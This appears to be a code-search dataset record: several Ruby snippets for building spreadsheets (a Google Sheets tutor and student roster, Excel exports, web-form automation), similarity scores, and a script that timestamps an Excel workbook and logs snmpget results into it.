'tutor-kind-standard' => [0, 250, 154],\n 'tutor-kind-relief' => [245, 222, 179],\n 'tutor-kind-BFL' => [255, 255, 0],\n 'tutor-kind-onCall' => [0, 255, 255],\n 'tutor-kind-onSetup' => [234, 209, 220],\n 'student-kind-free' => [0, 255, 0],\n 'student-kind-first' => [182, 215, 168],\n 'student-kind-catchup' => [173, 216, 230],\n 'student-kind-fortnightly' => [70, 130, 180], \n 'student-kind-onetoone' => [250, 128, 114],\n 'student-kind-standard' => [0, 250, 154],\n 'tutor-kind-' => [255, 255, 255],\n 'tutor-student-' => [255, 255, 255]\n }\n=end\n kindcolours.default = [255, 255, 255] # result if called with missing key\n \n # clear unused sheets & get sheet properties\n googleSheetDelete.call\n # sets mysheetproperties = [{'index', 'sheet_id', 'title'}, ..]\n mysheetproperties = googleSheetProperties.call \n\n # will increment to 1 on stepping into loops => 1..n\n # Note: both rows and column indexes spreadsheets start at 1\n # Following counters used to track loactions in the spreadsheet\n timeData = ''\n baseSiteRow = 1 \n baseSlotRowInSite = 1\n baseLessonRowInSlot = 0\n currentTutorRowInLesson = 0\n currentStudentRowInLesson = 0\n currentStudentInLesson = 0\n maxPersonRowInAnySlot = 0\n maxPersonRowInAnySlot = 0\n currentCol = 1\n currentRow = 1\n baseSiteRow = 1 # first site \n baseSiteRowAll = 1 # for the 'all' tab \n locationindex = 0 # index into the sites\n \n # to compress or not - remove unused days\n @compress = false # can be true or false\n\n # have an all tab in google sheets to show all sites in that page\n # this is for tutors to seach for their name across all sites.\n # We still have a separate tab for each site\n googleSetSheetTitle.call(\"All\")\n mysheetproperties[locationindex]['title'] = \"All\"\n sheet_name_all = mysheetproperties[locationindex]['title']\n sheet_id_all = mysheetproperties[locationindex]['sheet_id']\n ###----------------------------------------------------------------------\n ###------------------- step through the sites ---------------------------\n ###----------------------------------------------------------------------\n @cal.each do |location, calLocation| # step through sites\n if @compress # remove days with no valid slot for this site\n usedColumns = calLocation[0][0][\"days\"].keys\n usedColumnsIndex = [0]\n for i in 1..(calLocation[0].length-1)\n if usedColumns.include?(calLocation[0][i][\"value\"]) then\n usedColumnsIndex.push(i)\n end\n end \n end\n\n mydata = [] # google batch data writter at end of processing a site\n myformat = []\n\n # make separate sheet entry for each site\n baseSiteRow = 1 # reset when new sheet for each site.\n # baseSiteRowAll continues across all sites.\n if locationindex == 0 # set up the all tab - contains all sites\n # googleSetSheetTitle.call(location)\n # mysheetproperties[locationindex]['title'] = location\n # General formatting for the 'all' sheet - done once\n myformat.push(googleVertAlign.call(sheet_id_all, 1, 1, nil, nil, \"TOP\"))\n myformat.push(googleWrapText.call(sheet_id_all, 1, 1, nil, nil, \"WRAP\"))\n myformat.push(googleColWidthItem.call(sheet_id_all, 1,100,200))\n myformat.push(googleColWidthItem.call(sheet_id_all, 1,1,0))\n end\n # now have a sheet for each site.\n mysheetproperties = googleAddSheet.call(location, mysheetproperties) # add a sheet\n # mysheets = result.sheets\n # mysheetproperties = mysheets.map{|o| {'index' => o.properties.index, \n # 'sheet_id' => o.properties.sheet_id,\n # 'title' => o.properties.title } }\n locationindex += 1\n sheet_name = mysheetproperties[locationindex]['title']\n sheet_id = mysheetproperties[locationindex]['sheet_id']\n\n # This function formats a lesson row\n # myformal and mydata are global to this google roster function\n # we are passing in values to ensure they are in the correct context.\n formatLesson = lambda { |baseLessonRowInSlot, baseSlotRowInSite, baseSiteRow, baseSiteRowAll, currentCol, maxPersonRowInLesson|\n borderRowStart = baseLessonRowInSlot + baseSlotRowInSite + baseSiteRow\n borderRowStartAll = baseLessonRowInSlot + baseSlotRowInSite + baseSiteRowAll\n borderColStart = currentCol\n borderRows = maxPersonRowInLesson\n borderCols = 4 # one tutor col and 2 student cols + lesson commment col.\n # merge the cells within the comment section of a single session\n # googleMergeCells.call(passed_sheet_id, rowStart, numOfRows, colStart, numberOfCols)\n myformat.push(googleMergeCells.call(sheet_id, borderRowStart, borderRows,\n borderColStart + borderCols - 1, 1))\n myformat.push(googleMergeCells.call(sheet_id_all, borderRowStartAll, borderRows,\n borderColStart + borderCols - 1, 1))\n myformat.push(googleBorder.call(sheet_id, borderRowStart, borderColStart, borderRows, borderCols, [0, 0, 0], \"SOLID_MEDIUM\"))\n myformat.push(googleBorder.call(sheet_id_all, borderRowStartAll, borderColStart, borderRows, borderCols, [0, 0, 0], \"SOLID_MEDIUM\"))\n myformat.push(googleRightBorder.call(sheet_id, borderRowStart, borderColStart, borderRows, 1, [0, 0, 0], \"SOLID\"))\n myformat.push(googleRightBorder.call(sheet_id_all, borderRowStartAll, borderColStart, borderRows, 1, [0, 0, 0], \"SOLID\"))\n myformat.push(googleRightBorder.call(sheet_id, borderRowStart, borderColStart+2, borderRows, 1, [0, 0, 0], \"SOLID\"))\n myformat.push(googleRightBorder.call(sheet_id_all, borderRowStartAll, borderColStart+2, borderRows, 1, [0, 0, 0], \"SOLID\"))\n myformat.push(googleWrapText.call(sheet_id, borderRowStart, borderColStart, borderRows, borderCols, \"WRAP\"))\n myformat.push(googleWrapText.call(sheet_id_all, borderRowStartAll, borderColStart, borderRows, borderCols, \"WRAP\"))\n # want to put timeslot time (timeData) in first column of each lesson row.\n for i in borderRowStart..borderRowStart+borderRows-1 do\n mydata.push(googleBatchDataItem.call(sheet_name, i,1,1,1,[[timeData]]))\n end\n for i in borderRowStartAll..borderRowStartAll+borderRows-1 do\n mydata.push(googleBatchDataItem.call(sheet_name_all,i,1,1,1,[[timeData]]))\n end\n }\n #------------- end of lambda function: formatLesson ---------\n\n ### correction ###render flexibledisplay\n \n # General formatting for each site sheet\n myformat.push(googleVertAlign.call(sheet_id, 1, 1, nil, nil, \"TOP\"))\n myformat.push(googleWrapText.call(sheet_id, 1, 1, nil, nil, \"WRAP\"))\n myformat.push(googleColWidthItem.call(sheet_id, 1,100,350))\n myformat.push(googleColWidthItem.call(sheet_id, 1,1,0))\n\n #<table id=site-<%= location %> >\n baseSlotRowInSite = 0 # first slot\n currentRow = baseSlotRowInSite + baseSiteRow\n currentRowAll = baseSlotRowInSite + baseSiteRowAll\n ###----------------------------------------------------------------------\n ###-- step through each time period for this site e.g. 3:30, 4:30, etc. - \n ###-- (entry 0 = title info: 1. site 2. populated days by date) \n ###----------------------------------------------------------------------\n calLocation.each do |rows| # step through slots containing multiple days (fist row is actually a header row!)\n timeData = rows[0][\"value\"] \n #<tr>\n maxPersonRowInAnySlot = 0 # initialised to 1 to step a row even if no tutor or student found.\n currentCol = 1\n ###--------------------------------------------------------------------\n ###------- step through each day for this time period -----------------\n ### (entry 0 = time of lesson)\n ###--------------------------------------------------------------------\n rows.each_with_index do |cells, cellIndex| # step through each day (first column is head column - for time slots!)\n if @compress \n unless usedColumnsIndex.include?(cellIndex) then\n next\n end \n end\n awaystudents = \"\"\n ###-------------------------------------------------------------------------------------------\n ###------------------- step through each lesson in this slot ---------------------------------\n ###-------------------------------------------------------------------------------------------\n if cells.key?(\"values\") then # lessons for this day in this slot \n if cells[\"values\"].respond_to?(:each) then # check we have lessons?\n # This is a slot with lessons, do I need to output a title.\n #byebug\n # First column for each day needs to have the width set\n # googlecolwidthitem.call(sheet_id, colStart, numberOfCols, width_pixels)\n myformat.push(googleColWidthItem.call(sheet_id, currentCol, 1, 130))\n myformat.push(googleColWidthItem.call(sheet_id_all, currentCol, 1, 130))\n myformat.push(googleColWidthItem.call(sheet_id, currentCol+3, 1, 200))\n myformat.push(googleColWidthItem.call(sheet_id_all, currentCol+3, 1, 200))\n title = calLocation[0][0]['value'] + # site name\n calLocation[0][cellIndex]['datetime'].strftime(\" %A %e/%-m/%y \") + # date\n rows[0]['value'] # sesson time \n mydata.push(googleBatchDataItem.call(sheet_name,\n baseSiteRow + baseSlotRowInSite - 1, \n currentCol,1,1,[[title]]))\n mydata.push(googleBatchDataItem.call(sheet_name_all,\n baseSiteRowAll + baseSlotRowInSite - 1,\n currentCol,1,1,[[title]]))\n # googleMergeCells.call(passed_sheet_id, rowStart, numOfRows, colStart, numberOfCols)\n myformat.push(googleMergeCells.call(sheet_id, baseSiteRow + baseSlotRowInSite - 1, 1,\n currentCol, 4))\n myformat.push(googleMergeCells.call(sheet_id_all, baseSiteRowAll + baseSlotRowInSite - 1, 1,\n currentCol, 4))\n # Format the header line (merged cells)\n # googlefomratCells.call(passed_sheet_id, rowStart, numOfRows, colStart, numberOfCols, fontSize)\n myformat.push(googleFormatCells.call(sheet_id, baseSiteRow + baseSlotRowInSite - 1, 1,\n currentCol, 4, 16))\n myformat.push(googleFormatCells.call(sheet_id_all, baseSiteRowAll + baseSlotRowInSite - 1, 1,\n currentCol, 4, 16))\n baseLessonRowInSlot = 0 # index of first lesson in this slot for this day\n cells[\"values\"].sort_by {|obj| [valueOrderStatus(obj),valueOrder(obj)] }.each do |entry| # step thru sorted lessons\n next if (entry.status != nil && [\"global\", \"park\"].include?(entry.status))\n currentTutorRowInLesson = 0\n if entry.tutors.respond_to?(:each) then\n entry.tutors.sort_by {|obj| obj.pname }.each do |tutor|\n if tutor then\n thistutrole = tutor.tutroles.where(lesson_id: entry.id).first\n if @tutorstatusforroster.include?(thistutrole.status) then # tutors of interest\n currentRow = currentTutorRowInLesson + baseLessonRowInSlot + baseSlotRowInSite + baseSiteRow\n currentRowAll = currentTutorRowInLesson + baseLessonRowInSlot + baseSlotRowInSite + baseSiteRowAll\n #<div class=\"tutorname tutorinline <%= set_class_status(tutor, entry) %>\">tutor: <%= tutor.pname %></div>\n tutorData = tutor.pname\n tutorDataAll = tutor.pname\n formatBreakPoints = []\n formatBreakPointsAll = []\n formatBreakPoints.push(0)\n formatBreakPointsAll.push(0)\n formatBreakPoints.push(tutor.pname.length)\n formatBreakPointsAll.push(tutor.pname.length)\n # tutor.subjects\n mysubjects = tutor.subjects\n mysubjects = mysubjects ? mysubjects : \"\"\n # thistutrole.comment\n # tutor.comment\n # Status: thistutrole.status Kind: thistutrole.kind\n mykind = thistutrole.kind\n mykind = mykind ? mykind : \"\"\n # don't diaplay subjects or kind for tutors on setup\n unless (entry.status == 'onSetup' && mykind == 'onSetup') ||\n (entry.status == 'onCall' && mykind == 'onCall')\n tutorData += ((mysubjects == \"\") ? \"\" : (\"\\n\" + mysubjects)) \n tutorData += ((mykind == \"\") ? \"\" : (\"\\n\" + mykind)) unless [\"standard\"].include?(mykind)\n tutorDataAll += ((mykind == \"\") ? \"\" : (\"\\n\" + mykind)) unless [\"standard\"].include?(mykind)\n end\n if thistutrole.comment != nil && thistutrole.comment != \"\"\n tutorData += \"\\n\" + thistutrole.comment\n end\n mycolour = kindcolours['tutor-kind-' + mykind]\n mycolour = mycolour.map {|p| p/255.0} \n myformat.push(googleTextFormatRun.call(sheet_id, currentRow, currentCol,\n tutorData, formatBreakPoints))\n myformat.push(googleTextFormatRun.call(sheet_id_all, currentRowAll, currentCol,\n tutorDataAll, formatBreakPointsAll))\n ###myformat.push(googleBGColourItem.call(sheet_id, currentRow, currentCol, 1, 1, mycolour))\n ###myformat.push(googleBGColourItem.call(sheet_id_all, currentRowAll, currentCol, 1, 1, mycolour))\n currentTutorRowInLesson += 1\n end # tutors of interest\n end\n #break\n end\n # keep track of the largest count of tutors or students in lesson.\n maxPersonRowInAnySlot = maxPersonRowInAnySlot > currentTutorRowInLesson + baseLessonRowInSlot ?\n maxPersonRowInAnySlot : currentTutorRowInLesson + baseLessonRowInSlot\n end\n currentStudentRowInLesson = 0\n currentStudentInLesson = 0\n studentLessonComments = \"\"\n if entry.students.respond_to?(:each) then\n entry.students.each do |student|\n if student then\n logger.debug \"student: \" + student.pname\n thisrole = student.roles.where(lesson_id: entry.id).first\n #logger.debug \"thisrole: \" + thisrole.inspect\n if ['away', 'awaycourtesy', 'bye', 'absent'].include?(thisrole.status) then \n displayname = student.pname + \" (\" + thisrole.status + \")\"\n awaystudents += awaystudents.length > 0 ? \"\\n\" + displayname : displayname\n end\n if @studentstatusforroster.include?(thisrole.status) then # students of interest\n #logger.debug \"*************processing student: \" + student.pname\n #logger.debug \"currentStudentInLesson: \" + currentStudentInLesson.inspect\n #logger.debug \"currentStudentRowInLesson + baseLessonRowInSlot + baseSlotRowInSite: \" +\n # currentStudentRowInLesson.to_s + \", \" + baseLessonRowInSlot.to_s + \", \" + baseSlotRowInSite.to_s\n currentRow = currentStudentRowInLesson + baseLessonRowInSlot + baseSlotRowInSite + baseSiteRow\n currentRowAll = currentStudentRowInLesson + baseLessonRowInSlot + baseSlotRowInSite + baseSiteRowAll\n #<div class=\"studentname studentinline <%= set_class_status(student, entry) %>\">student: <%= student.pname %></div>\n #logger.debug \"DataItem parameters: \" + currentRow.to_s + \", \" + currentCol.to_s + \", 1, 1, \" + student.pname \n formatBreakPoints = []\n formatBreakPoints.push(0)\n studentData = student.pname\n studentSex = student.sex == nil ? \"\" :\n (student.sex.downcase.include?(\"female\") ? \"(F) \" : (student.sex.downcase.include?(\"male\") ? \"(M) \" : \"\"))\n studentData += \" \" + studentSex\n #logger.debug \"student.pname: \" + student.pname \n #logger.debug \"lesson_id: \" + entry.id.to_s\n #formatBreakPoints.push(student.pname.length)\n #studentSubjects = \" Yr: \" + (student.year == nil ? \" \" : student.year.rjust(3)) +\n # \" | \" + (student.study == nil ? \"\" : student.study)\n #studentYear = \" Yr:\" + (student.year == nil ? student.year.rjust(3))\n studentYear = \" Yr:\" + (student.year == nil ? \"\" : student.year)\n studentSubjects = student.study == nil ? \"\" : student.study\n studentData += studentYear\n studentDataAll = studentData\n formatBreakPointsAll = formatBreakPoints\n studentData += \"\\n\" + studentSubjects\n formatBreakPoints.push(studentData.length)\n # thisrole.comment\n # student.comment\n # Status: thisrole.status Kind: thisrole.kind\n mykind = thisrole.kind\n mykind = mykind ? mykind : \"\"\n studentData += \" (\" + mykind + \")\" unless [\"standard\"].include?(mykind)\n if thisrole.comment != nil && thisrole.comment != \"\"\n studentLessonComments += student.pname + \":\\n\" + thisrole.comment + \"\\n\"\n #studentData += \"\\n\" + thisrole.comment\n end\n if student.comment != nil && student.comment != \"\"\n studentData += \"\\n\" + student.comment\n end\n mycolour = kindcolours['student-kind-' + mykind]\n mycolour = mycolour.map {|p| p/255.0}\n #myformat.push(googleTextFormatRun.call(sheet_id, currentRow, currentCol + 1,\n # studentData, formatBreakPoints))\n colOffset = 1 + (currentStudentInLesson % 2)\n myformat.push(googleTextFormatRun.call(sheet_id, currentRow, currentCol + colOffset,\n studentData, formatBreakPoints))\n myformat.push(googleTextFormatRun.call(sheet_id_all, currentRowAll, currentCol + colOffset,\n studentDataAll, formatBreakPointsAll))\n ###myformat.push(googleBGColourItem.call(sheet_id, currentRow, currentCol + colOffset, 1, 1, mycolour))\n ###myformat.push(googleBGColourItem.call(sheet_id_all, currentRowAll, currentCol + colOffset, 1, 1, mycolour))\n \n #byebug \n currentStudentRowInLesson += 1 if (currentStudentInLesson % 2) == 1 # odd\n currentStudentInLesson += 1\n end # students of interest\n end\n end\n # Need to get correct count of rows (rounding up is necessary)\n # derive currentStudentRowInLesson from the currentStudentInLesson\n currentStudentRowInLesson = (currentStudentInLesson % 2) == 0 ? \n currentStudentInLesson / 2 : (currentStudentInLesson / 2) + 1 \n \n # keep track of the largest count of tutors or students in lesson.\n maxPersonRowInAnySlot = maxPersonRowInAnySlot > currentStudentRowInLesson + baseLessonRowInSlot ?\n maxPersonRowInAnySlot : currentStudentRowInLesson + baseLessonRowInSlot\n end\n maxPersonRowInLesson = currentTutorRowInLesson > currentStudentRowInLesson ? \n currentTutorRowInLesson : currentStudentRowInLesson \n # put a border around this lesson if there were lessons with people\n if maxPersonRowInLesson > 0 then\n # put in lesson comments if there were tutors or students.\n #<div class=\"lessoncommenttext\"><% if entry.comments != nil && entry.comments != \"\" %><%= entry.comments %><% end %></div>\n #<div class=\"lessonstatusinfo\"><% if entry.status != nil && entry.status != \"\" %>Status: <%= entry.status %> <% end %></div>\n mylessoncomment = ''\n if entry.status != nil && entry.status != ''\n unless [\"standard\", \"routine\", \"flexible\"].include?(entry.status) # if this is a standard lesson \n mylessoncomment = entry.status + \"\\n\" # don't show the lesson status (kind)\n end\n end\n mylessoncommentAll = mylessoncomment\n if entry.comments != nil && entry.comments != \"\"\n mylessoncomment += entry.comments\n end\n mylessoncomment += studentLessonComments\n if mylessoncomment.length > 0\n mylessoncomment = mylessoncomment.sub(/\\n$/, '') # remove trailing new line\n mydata.push(googleBatchDataItem.call(sheet_name, currentRow, currentCol+3,1,1,[[mylessoncomment]]))\n mydata.push(googleBatchDataItem.call(sheet_name_all,currentRowAll,currentCol+3,1,1,[[mylessoncommentAll]]))\n end\n # ----- formatting of the lesson row within the slot ---------\n formatLesson.call(baseLessonRowInSlot, baseSlotRowInSite, baseSiteRow, baseSiteRowAll, currentCol, maxPersonRowInLesson)\n end\n ###baseLessonRowInSlot += maxPersonRowInLesson\n baseLessonRowInSlot += maxPersonRowInLesson\n #currentRow = maxPersonRowInAnySlot + baseLessonRowInSlot + baseSlotRowInSite + baseSiteRow # next empty row \n end # end looping sorted lessons within a day/slot\n end # responds to cell[\"values\"]\n elsif cells.key?(\"value\") then # just holds cell info (not lessons) to be shown\n currentRow = baseSlotRowInSite + baseSiteRow\n currentRowAll = baseSlotRowInSite + baseSiteRowAll\n #timeData = cells[\"value\"].to_s #if currentCol == 1 &&\n # cells[\"value\"] != nil # pick up the time\n #mydata.push(googleBatchDataItem.call(sheet_name, currentRow, currentCol,1,1,[[cells[\"value\"].to_s]]))\n #mydata.push(googleBatchDataItem.call(sheet_name_all,currentRowAll,currentCol,1,1,[[cells[\"value\"].to_s]]))\n end\n # Now add a dummy row at end of slot to show students who are away\n if awaystudents.length > 0\n currentRow = baseLessonRowInSlot + baseSlotRowInSite + baseSiteRow\n currentRowAll = baseLessonRowInSlot + baseSlotRowInSite + baseSiteRowAll\n mydata.push(googleBatchDataItem.call(sheet_name, currentRow, currentCol,1,1,[[\"Students Away\"]]))\n mydata.push(googleBatchDataItem.call(sheet_name_all, currentRowAll, currentCol,1,1,[[\"Students Away\"]]))\n myformat.push(googleFormatCells.call(sheet_id, currentRow, 1, currentCol, 1, 10))\n myformat.push(googleFormatCells.call(sheet_id_all, currentRowAll, 1, currentCol, 1, 10))\n mydata.push(googleBatchDataItem.call(sheet_name, currentRow, currentCol + 1,1,1,[[awaystudents]]))\n mydata.push(googleBatchDataItem.call(sheet_name_all, currentRowAll, currentCol + 1,1,1,[[awaystudents]]))\n maxPersonRowInLesson = 1\n formatLesson.call(baseLessonRowInSlot, baseSlotRowInSite, baseSiteRow,\n baseSiteRowAll, currentCol, maxPersonRowInLesson) # apply the standard formatting\n baseLessonRowInSlot += 1 # add another row for this\n # update tracking of the largest count of tutors or students in lesson.\n maxPersonRowInAnySlot = maxPersonRowInAnySlot > currentStudentRowInLesson + baseLessonRowInSlot ?\n maxPersonRowInAnySlot : currentStudentRowInLesson + baseLessonRowInSlot\n maxPersonRowInAnySlot = maxPersonRowInAnySlot > currentTutorRowInLesson + baseLessonRowInSlot ?\n maxPersonRowInAnySlot : currentTutorRowInLesson + baseLessonRowInSlot\n end\n #</td>\n currentCol += currentCol == 1 ? 1 : 4 # first column is title, rest have adjacent tutors & students.\n end # end looping days within slots\n #</tr>\n #byebug\n baseSlotRowInSite += maxPersonRowInAnySlot # set ready for next slot (row of days)\n if baseLessonRowInSlot == 0 && maxPersonRowInAnySlot == 0 then\n baseSlotRowInSite += 1 # cater for when no lessons with tutors or students of interest\n end\n # Add an extra row between slots - except the first title slot\n # Jasmine wanted no rows between slots so reduced from 2 to 1.\n baseSlotRowInSite += 1 unless baseSlotRowInSite == 1\n end # end looping slots\n holdRailsLoggerLevel = Rails.logger.level\n Rails.logger.level = 1 \n googleBatchDataUpdate.call(spreadsheet_id, mydata)\n googleBatchUpdate.call(myformat) \n Rails.logger.level = holdRailsLoggerLevel\n\n #</table>\n baseSiteRow += baseSlotRowInSite + 1 # +1 adds blank row between sites\n baseSiteRowAll += baseSlotRowInSite + 1 # +1 adds blank row between sites\n #<br>\n end # end looping sites\nend # end of testing option.\n ### correction ###return # return without rendering.\n end", "def export_my_absence\n workbook = Spreadsheet::Workbook.new\n data_sheet = workbook.create_worksheet :name => \"absensi harian #{@current_person.full_name}\"\n format = Spreadsheet::Format.new :weight => :bold\n data_sheet.row(0).default_format = format\n data_sheet.row(0).replace ['Jam Masuk','Jam Keluar','Lama Kerja']\n data_sheet = set_data_export_my_absence(data_sheet)\n spreadsheet = StringIO.new\n workbook.write spreadsheet\n send_data spreadsheet.string, :filename => \"absent_harian_#{@current_person.full_name}.xls\", :type => \"application/vnd.ms-excel\"\n end", "def update_spreadsheet\n\t\tconnection = GoogleDrive.login(ENV[\"GMAIL_USERNAME\"], ENV[\"GMAIL_PASSWORD\"])\n\t\tss = connection.spreadsheet_by_title('Learn-Rails-Example')\n\t\tif ss.nil?\n\t\t\tss = connection.create_spreadsheet('Learn-Rails-Example')\n\t\tend\n\t\tws = ss.worksheets[0]\n\t\tlast_empty_row = 1 + ws.num_rows\n\t\tws[last_empty_row, 1] = Time.new\n\t\tws[last_empty_row, 2] = self.name\n\t\tws[last_empty_row, 3] = self.email\n\t\tws[last_empty_row, 4] = self.content\n\t\tws.save\n\tend", "def report \n @cars = Car.all\n\n book = Spreadsheet::Workbook.new \nsheet = book.create_worksheet :name => 'Test' \nmerge = Spreadsheet::Format.new :horizontal_align => :merge \nsheet.row(0).set_format(1, merge) \nsheet.row(0).set_format(2, merge) \nsheet.row(0).set_format(3, merge) \nsheet.row(0).set_format(4, merge) \n @cars.each_with_index do |car, i|\n sheet[i, 1] = car.title\n sheet[i, 5] = car.price\n car.parameters.each do |p| \n\tsheet[i, 2] = p.value if !(p.name !~ /发动机排量/)\n\tsheet[i, 3] = p.value if !(p.name !~ /生产厂家/) \n\tsheet[i, 4] = p.value if !(p.name !~ /生产状态/)\n end\n \n \n end\nbook.write '/home/ruby/mycar/fruits.xls' \n redirect_to :action => 'download' \nend", "def create\n @time_sheet = TimeSheet.new(time_sheet_params)\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render :show, status: :created, location: @time_sheet }\n else\n format.html { render :new }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_24hour_weather_from_moji(weatherfilepath)\n\n\t\t jsl=get_24h_moji_json_list(weatherfilepath)\n\n\t\t find('li', :text=>'监测数据').click\n\t\t find('li', :text=>'分时天气数据').click\n\t\t current_page = page.driver.browser.window_handle\n\t\t \n\t\t chengqu=\"\"\n\t\t jsl.each do |j|\n\t\t diqu=JSON.parse(j)\n\t\t diqu.each do |k,v|\n#\t\t puts k\n\t\t if k == \"data\" \n v.each do |dk,dv|\n dv.each do |dkk,dkv|\n if dkk == \"name\"\n chengqu = dkv\n\t\t\t\t\t case chengqu\n\t\t\t\t\t when \"北京市朝阳区\"\n\t\t\t\t\t chengqu = \"朝阳区\"\n\t\t\t\t\t when \"北京市通州区\"\n\t\t\t\t\t chengqu = \"通州区\"\n\t\t\t\t\t when \"密云区\"\n\t\t\t\t\t chengqu = \"密云县\"\n\t\t\t\t\t when \"延庆区\"\n\t\t\t\t\t chengqu = \"延庆县\"\n\t\t\t\t\t end\n puts chengqu\n end\n end\n if dk == \"hourly\"\n dv.each do |hourk|\n tianqi=get_hotcloud_info_from_moji(hourk)\n\t\t\t\t\t \n click_button('newbt')\n Util.popup_window do\n fill_in('date', :with=>tianqi[\"date\"])\n select(tianqi[\"hour\"], :from => \"hour\")\n puts tianqi[\"date\"]+\": \"+tianqi[\"hour\"]\n select(\"北京\", :from => \"province\")\n select(\"北京市\", :from => \"city\")\n select(chengqu, :from => \"district\")\n select(tianqi[\"lightCondition\"], :from => \"lightCondition\")\n select(tianqi[\"rainCondition\"], :from => \"rainCondition\")\n select(tianqi[\"wind_speed\"], :from => \"wind_speed\")\n fill_in('temprature', :with=>tianqi[\"temprature\"])\n fill_in('humity', :with=>tianqi[\"humity\"])\n click_button('dobt')\t\t\t\t\t\t \n end\n\n end\n end\n end\n\t\t end\n\t\t end\n\t\t end\n end", "def acessar_instituicao_page\n cadastro_btn.click\n instituicao_btn.click\n incluir_btn.click\n end", "def process_data()\n \tSpreadsheet.client_encoding='UTF-8'\n\tbook=Spreadsheet::Workbook.new\n\tsheet = book.create_worksheet\n\tsheet.row(0).push 'Link Text','Link Url','Description' #For including headers to the spreadsheet.\n\n\tmain_content=Array.new\n\ts=''\n\ts1=''\n\tvalue=0\n\trow_count=1\n\titerate=@range1.to_i\n\twhile iterate <= @range2.to_i\n \t\tif iterate==1\n \t\t\turl='http://www.google.co.in/search?q='+@query_string.to_s\n \t\t\tlink_count=11\n \t\telsif iterate>1\n \t\t\tvalue=(iterate-1)*10\n \t\t\tlink_count=10\n \t\t\turl='http://www.google.co.in/search?q='+@query_string.to_s+'&start='+value.to_s\n \t\tend\n \t\tdoc = Pismo::Document.new(url)\n \t\tcontent=doc.body.to_s\n \t\tmain_content=content.split('*',11)\n \t\ttmp=1\n \t\twhile tmp <= link_count\n \t\t\ts=main_content[tmp]\n \t\t\ts1=s.lines.map(&:chomp) #s1=s.split(/[\\n]+/)\n \t\t\t#print \"Link #{j} : \" + s1[1].to_s + \"\\nUrl #{j} : \" + s1[2].to_s + \"\\nDesc #{j} : \" + s1[3].to_s + \"\\n\"\n \t\t\tsheet.row(row_count).push s1[1].to_s,s1[2].to_s,s1[3].to_s\n \t\t\tbook.write('/home/chandrasekar/training-ruby/shekar/18_September/website_link.xls')\n \t\t\trow_count+=1\n \t\t\ttmp+=1\n \t\tend\n \t\titerate+=1\n\tend\n end", "def spawn_excel\n raise \"No Asset selected for export to Excel\" unless @asset\n xl = ExcelSystem.new\n xl.spawn( @asset )\n end" ]
[ "0.71807945", "0.62956786", "0.57601154", "0.55738056", "0.55680585", "0.556534", "0.5552689", "0.5515283", "0.5466408", "0.5369513", "0.5309698", "0.52556497", "0.52367264", "0.5232422", "0.5230916", "0.52247417", "0.5198066", "0.51905847", "0.51815975", "0.5135624", "0.5130712", "0.5128145", "0.5115423", "0.5114273", "0.508917", "0.50686157", "0.5062485", "0.505026", "0.50315434", "0.50201863", "0.50173545", "0.50168926", "0.5016706", "0.5011397", "0.4988995", "0.49452284", "0.49353054", "0.49342647", "0.49303016", "0.49208918", "0.49179342", "0.49133638", "0.49094892", "0.4909323", "0.4894711", "0.4887963", "0.48806563", "0.48798802", "0.48738137", "0.48719957", "0.48711014", "0.4865172", "0.4847995", "0.48433667", "0.48401546", "0.4838012", "0.4819863", "0.4814232", "0.4813164", "0.4811672", "0.48098278", "0.48017198", "0.4801095", "0.4800726", "0.47963873", "0.47895202", "0.47886023", "0.47847533", "0.47835344", "0.4777939", "0.47741446", "0.47707075", "0.4767844", "0.47602615", "0.47567603", "0.47533715", "0.47526", "0.47513947", "0.47489488", "0.4748037", "0.47392467", "0.47348332", "0.4733874", "0.4732088", "0.47276402", "0.47270727", "0.47220305", "0.4721349", "0.47158596", "0.47125074", "0.47119376", "0.47079933", "0.4707591", "0.4707301", "0.47062802", "0.47037616", "0.46995673", "0.4692732", "0.46916795", "0.46914455", "0.46890846" ]
0.0
-1
create time stamped spreadsheet using base name connect to excel and open base workbook create instance of excel (xl) returns a nested array containing spreadsheet and script parameters
def xls_timestamp(s_s) new_ss = (s_s.chomp(".xls")<<'_'<<Time.now.to_a.reverse[5..9].to_s<<(".xls")) new_ss1 = new_ss.sub('driver','result') xl = new_xls(s_s,1) #open base driver ss with new excel session ws = xl[2] # worksheet param = Array.new # contains no elements. just used as a place holder here excel = [xl,param] # save spreadsheet as timestamped name. save_as_xls(xl,new_ss1) return excel end # # - createand return new instance of excel def new_xls(s_s,num) #wb name and sheet number ss = WIN32OLE::new('excel.Application') wb = ss.Workbooks.Open(s_s) ws = wb.Worksheets(num) ss.visible = true # For debug xls = [ss,wb,ws] end # # - save an existing workbook as another file name def save_as_xls(s_s,save_as) sleep 1 s_s[2].saveas(save_as) end # # - snmpget using Net-Snmp def snmpget(com,ip,mib,oid) command = 'snmpget -v2c -c '<< com << ' ' << ip << ' ' << mib << '::' << oid puts" #{command}" ; $stdout.flush return `#{command}`.split(/ /)[3] # value is in 4th element end # # - teardown driver - this function will update driver spreadsheet. def tear_down_d(s_s,s,f) # The variable 's_s' is an array that holds the current spreadsheet instance ss,wb,ws = s_s #Save Summary and elapsed time to current ss ws.Range("b8")['Value'] = s.to_s ws.Range("b9")['Value'] = f.to_s run_time = elapsed(f,s) ws.Range("b10")['Value'] = run_time.to_s wb.save wb.close #Close Driver spreadsheet end # # - calculates difference between start and finish time def elapsed(finish,start) time = (finish-start).to_i hours = time/3600.to_i minutes = (time/60 - hours * 60).to_i seconds = (time - (hours * 3600 + minutes * 60)).to_i test_time = minutes.to_s << 'min'<<seconds.to_s<<'sec' puts "\n\nTest Start = "<<start.strftime("%H:%M:%S") puts "Test Finish = "<<finish.strftime("%H:%M:%S") puts "Test Time = #{minutes}min#{seconds}sec" return test_time end puts" \n Executing: #{(__FILE__)}\n\n" # show current filename excel = setup(__FILE__) wb,ws = excel[0][1,2] ip,mib,com = ws.Range("b2:b4")['Value'].map{|x|x.to_s} rows,iter,dly = ws.Range("b5:b7")['Value'].map{|x|x.to_s.to_i} data_row = 2 # first data row while data_row <= iter +1 row = 2 # first oid row data_col = "ae" # is first data column -1 data = [] # (re)initialize array # Collect all of the snmp data into a single array ws.range("k#{row}:k#{rows +1}")['Value'].each do|oid| data = data.to_a + snmpget(com,ip,mib,oid.to_s).split(/ /).push data_col = data_col.next end # write all of the snmp data to a range of cells ws.Range("af#{data_row}:#{data_col}#{data_row}")['Value'] = data ws.Columns("af:#{data_col}").Autofit wb.save 